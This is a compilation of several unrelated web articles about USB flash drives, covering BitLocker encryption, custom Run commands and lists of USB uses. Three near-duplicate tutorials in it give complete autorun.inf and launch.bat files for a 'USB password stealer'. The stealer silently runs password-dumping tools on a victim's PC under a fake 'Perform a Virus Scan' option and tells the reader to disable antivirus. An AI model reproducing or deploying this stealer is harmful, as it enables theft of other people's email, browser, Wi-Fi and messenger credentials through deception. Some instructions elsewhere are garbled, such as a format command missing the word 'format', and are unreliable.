How to Safeguard Your USB Drive - 10 Easy Steps!

USB drives are a fantastic way to share information from computer-to-computer. While many people use email to send documents, USB drives can take just about anything that your computer has and move it to another system with minimal effort. Plus, USB drives can be used to share information without actually putting it in someone’s possession. Doing so can keep sensitive data from falling into the wrong hands. If you have a USB drive, though, there are still extra measures you should take to secure its contents. Continue reading for 10 easy steps that you can take to safeguard your USB drive.

Proper Password Management Protects Your USB Drive

First, let’s make sure that if anyone gets a hold of your USB drive, they won’t be able to use it.

• Insert your USB drive into your computer.
• Find the USB drive in your computer’s “Devices with Removable Storage” section or similar area.
• Right click on it and choose, “Turn on Bitlocker.”
• Once you choose this, Wizard will open up, and you’ll see the option to “use a password to unlock the drive.”
• Type in the password that you would like to use for your USB drive and click next.
• You’ll be asked how you’d like to “back up Recovery Keys.” Simply choose from the menu.
• Next, you’ll be asked to confirm whether or not your USB drive is already being used or if it’s brand new.

Encrypt Your USB Drive

Now you’ll want to encrypt the information that is found on your USB drive. This is a further measure that will make sure that your drive is protected from prying eyes, no matter how badly they want your information. After the above 7 steps, Wizard will ask you how much of your drive you’d like to encrypt.

• You’ll be given the option to encrypt the entire drive, which is best for those that are already in use, or just the used disc space, which is preferable for a new drive. The former option will take longer.
• After you make your choice, the encryption process will start.
• When the encryption process is complete, you can remove your USB drive, confident that its contents are now safe.

Going forward, whenever anyone wants to use the USB drive, they’ll be prompted to enter your password first. You can follow the same steps to change the password, as well, if you should so choose.

Keep in mind it’s also important to store your USB drive in a safe place at all times. Even if someone doesn’t have your password, possessing your USB drive can still be damaging, as you no longer have access to the data, either. If the USB drive contains information related to your company, check with human resources or your management. There are often official guidelines specific to securing USB drives that carry company data.

While USB drives are extremely convenient, they can easily expose you to information leaks if not controlled properly. Maintain your USB drive in a secure place at all times, and use the above 10 steps to encrypt the information and protect it with a password.

Source:
http://geekofreak.com/2013/03/encrypt-and-password-protect-your-usb.html

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How to Create Your Own Customized Run Commands

The Run command on Microsoft Windows operating system allows you to directly open an application or document with just a single command instead of navigating to its location and double-clicking the executable icon. However, it only works for some of the inbuilt Windows programs such as Command prompt (cmd), Calculator (calc) etc.

So, have you ever wondered how to create your own customized Run commands for accessing your favorite programs, files and folders? Well, read on to find out the answer.

Creating the Customized Run Command:

Let me take up an example of how to create a customized run command for opening the Internet explorer. Once you create this command, you should be able to open the Internet explorer just by typing ie in the Run dialog box. Here is how you can do that.

1. Right-click on your Desktop and select New -> Shortcut.
2. You will see a “Create Shortcut” Dialog box as shown below
   
3. Click on “Browse”, navigate to: Program Files -> Internet Explorer from your Root drive (usually C:\) and select “iexplore” as shown in the above figure and click on “OK”.
4. Now click on “Next” and type any name for your shortcut. You can choose any name as per your choice; this will be your customized “Run command”. In this case I name my shortcut as “ie“. Click on “Finish”.
5. You will see a shortcut named ie on your desktop. All you need to do is just copy this shortcut and paste it in your Windows folder (usually “C:/Windows”). Once you have copied the shortcut onto your Windows folder, you can delete the one on your Desktop.
6. That’s it! From now on, just open the Run dialog box, type ie and hit Enter to open the Internet Explorer.

In this way you can create customized Run commands for any program of your choice. Say ff for Firefox, ym for Yahoo messenger, wmp for Windows media player and so on.

To do this, when you click on “Browse” in the Step-3, just select the target program’s main executable (.exe) file which will usually be located in the “C:\Program Files” folder. Give a simple and short name for this shortcut as per your choice and copy the shortcut file onto the Windows folder as usual. Now just type this short name in the Run dialog box to open the program.

I hope this post has helped you create your own Run commands and use them in your daily life. Pass your comments.

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How to Hack Passwords Using a USB Drive

As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox.

There exists many tools for recovering these passswords from their stored places. Using these tools and a USB pen-drive, you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit:

MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.

Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0

Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more.

PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed:

Record Index, Web Site, User Name, Password, User Name Field and Password Field.

Preparing Your USB Drive for Password Hacking:

Here is a step by step procedure to create the password hacking toolkit:

You must temporarily disable your antivirus before following these steps.

1. Download all the 5 tools, extract them and copy only the executable files (.exe files) onto your USB Pendrive.
   ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it:
   [autorun] open=launch.bat
   ACTION= Perform a Virus Scan
   save the Notepad and rename it from New Text Document.txt to autorun.inf. Now copy the autorun.inf file onto your USB pen-drive.
3. Create another Notepad and write the following text onto it:
   start mspass.exe /stext mspass.txt start mailpv.exe /stext mailpv.txt
   start iepv.exe /stext iepv.txt
   start pspv.exe /stext pspv.txt
   start passwordfox.exe /stext passwordfox.txt
   Save the Notepad and rename it from New Text Document.txt to launch.bat. Copy the launch.bat file to your USB drive.

Now your rootkit is ready and you are all set to sniff the passwords. You can use this pen-drive on on any computer to sniff the stored passwords. Just follow these steps:

1. Insert the pen-drive and the auto-run window will pop-up. (This is because, we have created an auto-run pen-drive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pen-drive and you’ll see the stored passwords in the .TXT files.

This hack works on Windows 2000, XP, Vista and 7.

NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

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USB password stealer

This tutorial will walk you through setting up a USB flash drive to steal the saved passwords on a computer.

1.  open notepad/wordpad type:
   [autorun]
   open=launch.bat
   ACTION= Perform a Virus Scan
   save this as AUTORUN.inf
2. open a new notepad/wordpad document type:
   start mspass.exe /stext mspass.txt
   start mailpv.exe /stext mailpv.txt
   start iepv.exe /stext iepv.txt
   start pspv.exe /stext pspv.txt
   start PasswordFox.exe /stext passwordfox.txt
   start OperaPassView.exe /stext OperaPassView.txt
   start ChromePass.exe /stext ChromePass.txt
   start Dialupass.exe /stext Dialupass.txt
   start netpass.exe /stext netpass.txt
   start WirelessKeyView.exe /stext WirelessKeyView.txt
   start BulletsPassView.exe /stext BulletsPassView.txt
   start VNCPassView.exe /stext VNCPassView.txt
   start OpenedFilesView.exe /stext OpenedFilesView.txt
   start ProduKey.exe /stext ProduKey.txt
   start USBDeview.exe /stext USBDeview.txt
   save this as LAUNCH.bat
3. copy the autorun and launch file to your USB
4. go to http://www.nirsoft.net/ and download the programs named in step 2
5. extract the files you downloaded to your desktop and copy all the .exe files to your USB
6. remove and re-insert your USB
7. click on the option perform a virus scan
   (this is an exemple, if you want it to say something else go to the autorun file and change it ;) )
8. go to my computer---> USB DRIVE and open it you will now see some text files, if you open them you will see usernames and passwords
   NOTICE: this only recovers passwords that have once been saved on your computer

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10 Things You Never Knew You Could Do With A USB Flash Drive

USB flash drives are a cheap and portable way to back up files and move them around between machines. But as cloud storage becomes cheaper and WiFi more accessible, flash drives aren’t as necessary as they once were. You probably now have a couple sitting around in a drawer that rarely ever get used. If you want to breathe new life into your old USB flash drives, here are ten things you may have never known they could do.

1. Install a Linux distribution

Most Linux distributions can be booted from live CDs as a means of trying them out before giving them a full install. In recent years, the trend has shifted towards creating live USBs instead. You can download the appropriate software for your distro of choice and burn an image to your flash drive, creating a means of testing out and installing Linux that is more durable than a CD-ROM. USB drives can hold more data than CDs, allowing you to boot up distros that are too large to fit on a disk.

2. Boot a Persistent OS

If you want something more permanent than a live USB, which do not save any changes you make, you can install several distributions directly to your flash drive. This way you can boot up your own personal operating system on other peoples’ computers and still have access to the files you’ve created and the programs you’ve installed. Pendrivelinux is one option, but at this point in time, even the major distributions such as Ubuntu supported persistent booting.

3. Run Portable Apps

PortableApps.com allows Windows users to bring their favorite programs and files with them on a flash drive without having to boot into a new operating system. When you plug in your flash drive, you can open what amounts to a separate, portable “Start” menu. Not every application is supported, and you may still have to transition to using open source applications to fully take advantage of Portable Apps. If you would prefer an alternative, there’s also LiberKey and winPenPack.

4. Use as RAM

In a case where you have a computer that’s slowing down and a flash drive with extra space, you can use the latter to give the former a speed boost. Using a flash drive to provide your computer with extra memory helps it to manage applications better, giving you a faster experience. Microsoft provides ReadyBoost as a means of speeding up your computer using your flash drive as RAM under Windows.

5. Partition hard drives

Installing Parted Magic to a flash drive helps you more easily re-partition your computer’s hard drive. Partitioning is difficult and dangerous to do when an operating system is running from the hard drive in question, but booting from a flash drive removes some of risk and makes the entire process much more straight forward.

6. Gaming

While it’s not exactly portable gaming, you can install certain games to flash drives, allowing you to get your gaming fix regardless of whose machine you’re using (granted they’re using the same operating system). Not every game supports this functionality, but Minecraft does. Considering how expansive that game is, it might be all you need.

7. Keep Files Private

You can turn your entire flash drive into an encrypted partition as a means of keeping private files safe from prying eyes. You also have the option to have your flash drive boot normally but containing a separate partition that encrypts any file placed in it. For an extra layer of security, you can also password protect your encrypted partition. Bitlocker To-Go makes this easy to do.

8. Unlock Your Computer

If you don’t feel that using a password alone is secure enough, and your computer doesn’t have a biometric scanner, you still have alternative options for securing your computer. Just turn your flash drive into a key and set your computer to only unlock when the drive is plugged in. If you use Windows, Predator is a popular tool for making this happen, but it’s not the only one out there.

9. Rescue An Infected PC

You have the ability to install virus scanners onto your flash drive driver to search for malware on infected computers. You can find offerings to restore your computer after a malware-related crash from well-known companies such as AVG and Kaspersky.

10. Automatically Sync Files

You probably manually drag and drop files onto your flash drive, but there is a simpler means of transporting files. By automatically syncing files between your computer and your flash drive, you can make a it nearly as convenient to use as Dropbox or Google Drive. SyncToy and SyncBack SE are two Windows tools that can make this happen. GoodSync2Go is a solution that works with Mac OS X.

Conclusion

USB flash drives are immensely useful tools capable of fixing computers and booting operating systems. They drop in price each year at the same time that their storage capacity continues to double, making them great for any tech enthusiast on the go. And if all else fails, they’re still good for storing files, too.
What other uses do you use USB drives for?

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Amazing Ways To Get The Best Out Of Your USB Drives [List]

USB Drives are one of the most vital components for anybody who uses computers. This is a list of tricks that are worth trying for getting the best out of your USB drive.

1. Carry Your Workspace

As we all know an USB drive can be carried with ease and portable applications has made it quite easier to carry any type application that you need for your work. You may refer to some productive portable applications that can make you more productive or you can search for portable applications of your choice on various websites. Some of the most popular ones are listed below :

• FC Portables
• Portable Share
• Portable Freeware
• Portable Apps
• Pendrive Apps

2. Hidden USB Drive :

There is a nice step by step tutorial by Windell Oskay describing how to hide your USB drive within a torn USB cable. You can easily shock a couple of your friends while playing a song from a torn USB cable plugged in to your computer. Find the the step by step tutorial on Evil Mad Scientist.

3. Create an Autorun program:

It is really a vital feature while using any USB drive. We use it mostly casually but it can be used for better purposes like launching any program (located on your USB drive) automatically by just inserting the USB drive into your computer. You can follow a detailed guide on Daily Cup of Tech by Tim for creating an autorun file.

4. Stop Auto-Runs From USB Drives:

A similar list of antidotes on how you could stop auto-running programs from your USB drives can be found here. This is very useful as many threats are reported to start from auto-run menu. My suggestion to anyone would be, start programs (even the “Open to View Files”) from the Auto-run dialog.

5. Recover your lost USB Drive :

Portability is what makes the USB drives so indispensable and it is what makes it so forgettable and vulnerable too. There are many occasions when I forget to bring my keys and so is with my USB stick. And back in college, my USB stick got stolen. Only thing that I did then was sulk over my carelessness. Well now, I am quite safe from this misfortunes. Here is a step by step guide from Tim that will increase the chances of recovering your USB drive in case you lose it or got robbed.
You can also try Codysafe a free program that also serve the similar purpose. It also comes with a program launcher like Portable Apps and a built-in antivirus (Drive Doctor) for the files saved on your USB drive. Read a detailed review on the tool.

6. Use your USB drive to Lock or Unlock Your PC:

When I first came to know about this trick I simply couldn’t resist myself from using it. The very idea of locking my workspace with my USB drive makes me feel more safe. I have detailed this BIOS hack to lock your Windows XP with USB drive here. Also there is a free program named Predator that also lets you lock your Windows workspace. You can read my detailed how-to on this tool here.

7. Create a Bootable USB Disk

One, if your netbook don’t have a DVD drive or you have yours damaged and you are willing to reinstall an operating system try creating a boot device with your USB drive. Try using free tools like Image Writer or WinToFlash to burn an Windows OS installation image file onto a USB drive.

8. Run an Operating System From USB

You already know that a new OS installation can be carried be carried out from a USB disk. Well you can run a OS from USB too very much like the Live CD. Try Puppy Linux, XPUD, Damn Small Linux or Webconverger which may not be that feature-rich as an OS but are good enough to backup dead PCs or troubleshoot the same. Well if you are eager enough to format a USB that can run Windows XP from within it, head over here.

9. Run a Website or Standalone Application from USB Disk

Server2Go is a free webserver that can run from write protected media. To ease it up, lemme say, web apps based on Server2Go can be run from a usb stick without the worries of configuring Apache, PHP or MySQL. The app lets you create PHP applications or websites on USB sticks. Some examples listed on the developer website are catalog software, calculation programme, image campaigns (CMS-based), computer based training lessons etc. Many content management systems like Joomla are also supported by this tool.

10. Stay Safe: Get Files on Your USB Device Encrypted

Work was never confined to office. And with USB sticks we can carry documents anywhere to work on them when we get more time. So if you are carrying files that may contain sensitive information, you might want to encrypt them since if it falls on wrong hands you can guess the consequences. Try SecurStick. Its a free program that hides your files behind password protected encryption. You can also try the free version of USB Safe Guard for preventing data theft from USB drives.

11. Backup USB Drive

ImageUSB and USB Flash Drive Manager are two free utilities that will help you create a backup for your USB flash drives.

12. Speed Up Windows Using your USB Drive

Windows Vista and Windows 7 has an built-in feature coined as Windows ReadyBoost that you can use to speed up your OS using USB flash drives. Here is a detailed guide on Windows ReadyBoost that you can follow to apply on your PC.

11. Create a password reset Disk For Windows

If you are on Windows Vista or Windows 7, use your USB drives for creating a password reset disk. Read a detailed article on how you can create a USB password reset disk on Windows 7 and Vista.

12. Remove Alerts For USB Devices on Windows XP:

Follow this step by step tutorial on how you can disable alerts like, “This device can perform faster” in Windows XP.

13. Hide files or folders in your USB Drive

Try Winmend if you are willing to use your USB drive to hide files or folders. Read a detailed guide here. Or you can use a simple trick to hide files within a USB Drive.

14. Completely erase your Computer Hard disk

Have you considered erasing all the data on your hard disk before selling it? Manual erasing is quite tiring. Nuke your hard disk with DBAN after burning the tool onto a CD drive or USB drive.

15. Crazy Looking USB Drives

This is not something that will help you tweak your USB drive, but this will definitely ease up this geeky post a bit. Get to see some crazy looking USB drives that are probably really awesome and awful at the same time. Have you ever imagined of a USB Business card? Witness it here.
If you know of any trick that will take our USB drives achieve some extra feats, please mention in comments.

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10 cool things you can do with a USB flash drive

Your USB flash drive can do a whole lot more than just move data around. Greg Shultz introduces a variety of creative ways to put that drive to good use.

Your USB flash drive can do a whole lot more than just move data around. Greg Shultz introduces a variety of creative ways to put that drive to good use.

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Transporting your data is probably the most common use for a USB flash drive. But there's a world of other things you can do with these handy pocket-size drives. Here are 10 ways you can use that USB flash drive to do more than just move data.
Note: This article is also available as a PDF download.

1: Run portable applications

In addition to storing your data, you can run portable applications from a USB flash drive. For example, OpenOffice, which is a complete office suite that includes a word processor, spreadsheet, presentation tool, drawing package, and database, is available as a portable application. Mozilla Firefox and Thunderbird are also available as portable applications. When you combine the office suite with the ability to surf the Web and check email, you'll be able to take your most vital computing applications with you wherever you go -- right in your pocket.
If that's not enough, you can choose other applications to install on your USB flash drive from PortableApps.com (Figure A). You can even install an entire prepackaged suite of applications that includes such things as an audio player, games, an antivirus utility, and a handy menu system.

Figure A

The PortableApps.com suite comes with a menu system to allow you to easily access your portable applications.

2: Boot an operating system

If you want to do more than just run your own applications, you might want to consider booting an entire operating system from your USB flash drive. You can boot either Windows or Linux from a USB flash drive; however, the process is not an exact science and you may be in for a technical adventure.
Fortunately, there are some guides you can follow. To learn how to boot Windows XP from a USB flash drive, see the article Creating a bootable USB flash drive for Windows XP. To learn how to boot a version of Linux from a USB flash drive, see the article Puppy Linux teaches an old dog new tricks.

3: Connect to a wireless network

If you have a wireless network, you can use the Wireless Network Setup Wizard in Windows XP or the Windows Connect Now (WCN) feature built into Vista to save wireless network configuration information to a USB flash drive. You can then use your drive to quickly and easily connect another computer or a WCN-compatible device, such as a router or printer, to your wireless network. To learn more about using the Wireless Network Setup Wizard, see the Help And Support Center, which is accessible from Windows XP's Start menu. To learn more about using the Windows Connect Now feature, see Windows Help And Support, which is accessible from Windows Vista's Start menu.

4: Create a password reset disk

A password reset disk can really come in handy if you forget the password to your user account on a Windows system that is not a part of a domain. If you find yourself in that situation, you can use the password reset disk to reset your password and quickly get back into your user account. In Windows Vista, you can use USB flash drive rather than a floppy disk as a password reset disk (Figure B). For details on how to do so, see the article Create a Vista password reset disk using a USB flash drive.

Figure B

You can use your USB flash drive as a password reset disk.

5: Boost performance

If you're running Windows Vista, you can use a USB flash drive to speed up your system with the ReadyBoost technology. ReadyBoost can use the storage space on a USB Flash drive as an additional memory cache to aid the memory cache on your hard disk. And because flash memory is more responsive than a hard disk, with its physical moving parts, the memory cache provided by ReadyBoost can significantly improve system responsiveness.
Using ReadyBoost is easy. You just insert your USB flash drive into your Vista system and follow the onscreen prompts to configure and use ReadyBoost. If you want more details, check out the article How SuperFetch and ReadyBoost work together.

6: Manage it

If all you really want to do with your USB flash drive is transport data, and you're running Windows XP, you can do so more efficiently with the Microsoft USB Flash Drive Manager (Figure C). Once you have installed this manager, you can easily copy files to and from your drive, back up and restore the entire flash drive to and from your hard disk, change the drive label, and even create an autorun.inf file to launch Drive Manager automatically when you plug in the drive. To learn more about and download the USB Flash Drive Manager visit the Microsoft TechNet Magazine site.

Figure C

The Microsoft USB Flash Drive Manager provides you with a host of features, such as drive backup.

7: Use it as an MP3 player

Would you like to be listening to music when you're using a computer at the office, but you don't have an MP3 player? If so, you can use a USB flash drive as an MP3 player along with Windows Media Player and a set of headphones. Just copy your MP3 files to your USB flash drive, plug it into your computer, and direct Windows Media Player to build a library of the songs on your drive. You can use all of Windows Media Player's playback features, such as playlists and favorites, to easily customize your music listening experience. And best of all, you won't have to worry about running low on battery power.

8: Password-protect it

If you use a USB flash drive to transport sensitive data that you would prefer to protect from prying eyes, should you lose the drive, Rohos Mini Drive (Figure D) can safeguard that data. This security tool allows you to create a secret partition on the drive and then password-protect/encrypt that partition, thus protecting any documents you copy to that partition via the utility's file manager. You can download (and read a review of) Rohos Mini Drive at Download.com.

Figure D

Using Rohos Mini Drive, you can secure sensitive files on your USB flash drive.

9: Run a Web site from it

If you are a Web developer, you may be interested to know that with Server2Go, you can easily run a Web server that supports Apache, PHP, MySQL, and Perl right from a USB flash drive. You can use Server2Go right out of the box without any installation. It runs on all versions of Windows, supports most common browsers, and is completely free. To a developer, the benefits of having a portable Web server on a USB drive are numerous. For example, imagine being able to carry a live Web site demo into a sales pitch meeting. For more information about this package, visit the Server2Go site.

10: Lock your PC

Have you ever seen a movie in which a person in some secret government installation simply inserts and removes a card to log in and log out of a PC? If you thought that idea was cool, you'll definitely want to investigate Predator (Figure E). Once installed and configured, this little freeware utility will allow you to turn a USB flash drive into a key you can use to lock and unlock your computer.

Figure E

With Predator, you can use a USB flash drive as a key to lock and unlock your computer.

While the USB flash drive is connected to your computer, everything works as it normally would. Once you remove the USB flash drive, your computer is locked down -- the keyboard and mouse are disabled and the screen darkens. To unlock your computer, you just plug in the USB flash drive and the computer will be unlocked and you can begin using it. To learn more about Predator, and/or to download it, visit the developer's Web site.

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10 Things You Can Do With A USB Flash Drive

USB Flash Drives are one of the easiest ways to backup and transfer files between computers, it facilitates a lot the exchange and sharing of files. Today, everyone who owns a computer certainly owns a USB flash drive, it became a necessary device to use with the PC. There are various uses of a flash drive you probably already know: transferring files, backing up important things... but there are some other things that you can do with your old USB Flash drive and you maybe never knew about them.

1. Use USB as RAM

One of the best uses of a flash disk, is to use it as an additional memory to help improving the speed of your Windows. Using a built-in feature of Windows (XPand up) called 'Ready Boost' it will act as a RAM or Pagefile in Windows XP. It helps a lot to speed up your old computer. We already wrote about this in a previous article:

How to Use USB as RAM Memory

2. Install an Operating System

Most of the Operating Systems are installed using a bootable live CD or DVD and proceed with a full large install of the system. Today we are able to use a USB instead of using CD, flash drives can hold larger data than CDs that's why we use it to boot and install an OS. We also wrote in previous posts about different tutorials to install OS on USB:

How to Install Windows 8 with USB

How to Install Ubuntu from USB

3. Lock your PC

Just like movies: an agent can lock his computer using a magnetic card, if you are amazed with this trick you can do it using your Flash thumb and lock/unlock your computer using it. Just Download and Install Predator app, plugin your flash disk, then after tweaking the settings just Remove it and the computer will lock down: the keyboard is blocked, the mouse frozen and the screen becomes black, to unlock it simply re-plugin the flash thumb.

4. Remove Windows Password

When using Windows you may have faced a serious problem because you forgot the Password. There are many ways to reset Windows password, some of them is using a USB thumb drive to create a live install of a Utility to enter and remove the password. We wrote about it in a previous post that you can check it out:

How to Remove Windows Password with USB

5. Run Portable Apps

Portable apps are software that doesn't need installation to be executed as well as running them between machines easily. You can setup Portable apps inside your USB and take them where you go to run them inside any machine with no need to Install it.

How to Create Portable Apps using Winrar

6. Auto-Sync Files

Just like Dropbox, Skydrive or Google Drive this trick allows you to sync your files to the USB without the need to keep drag & drop files or copying them. With this trick you can mirrorize your important files automatically to your USB thumb in a very easy way. Just Download one of the following software and install them:

SyncToy or SyncBack

7. DemocraKey

DemocraKey is a set of important utilities that helps you surf anonymously, it contains: Tor Browser to surf securely, CalmWin Portable to clean your hosts file from viruses, Thunderbird Portabl, TrueCrypt and Abiword. You can easily install Democrakey in your USB flash drive and start surfing securely and anonymously.

8. Protect it from Viruses

If you are afraid from being infected with the USB, then you can easily protect it from viruses, malwares, trojans and malicious software. 

Protect Flash Drive from Viruses

9. Format it from Command Prompt

If you can't access your Computer then you can format it using cmd commands, it's very easy to perform and it will work just like the normal format mode:

1. Launch Command Prompt
2. Type X: /FS:FAT32
3. Press Enter

Just change X: with the drive letter of the USB, and FAT32 with the filesystem you want to use (FAT32 is default for all flash drives).

10. Install a Minimal Linux Distribution

Last but not least, you can use USB to install a fallback Operating System, there are plenty of minimal OS that you can download and install. The most popular Linux Distributions you can use are: Puppy,  Damn Small Linux and Ubuntu Mini Remix

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Usb password stealer

This tutorial will walk you through setting up a
USB flash drive to steal the saved passwords
on a computer.
1. open notepad/wordpad
type:
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
save this as AUTORUN.inf
2. open a new notepad/wordpad document
type:
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start PasswordFox.exe /stext
passwordfox.txt
start OperaPassView.exe /stext
OperaPassView.txt
start ChromePass.exe /stext
ChromePass.txt
start Dialupass.exe /stext Dialupass.txt
start netpass.exe /stext netpass.txt
start WirelessKeyView.exe /stext
WirelessKeyView.txt
start BulletsPassView.exe /stext
BulletsPassView.txt
start VNCPassView.exe /stext
VNCPassView.txt
start OpenedFilesView.exe /stext
OpenedFilesView.txt
start ProduKey.exe /stext ProduKey.txt
start USBDeview.exe /stext
USBDeview.txt
save this as LAUNCH.bat
3. copy the autorun and launch file to your
USB
4. go to http://www.nirsoft.net/ and
download the programs named in step 2
5. extract the files you downloaded to your
desktop and copy all the .exe files to
your USB
6. remove and re-insert your USB
7. click on the option perform a virus scan
(this is an exemple, if you want it to say
something else go to the autorun file and
change it ;) )
8. go to my computer---> USB DRIVE and
open it
you will now see some text files, if you
open them you will see usernames and
passwords
NOTICE: this only recovers passwords
that have once been saved on your
computer

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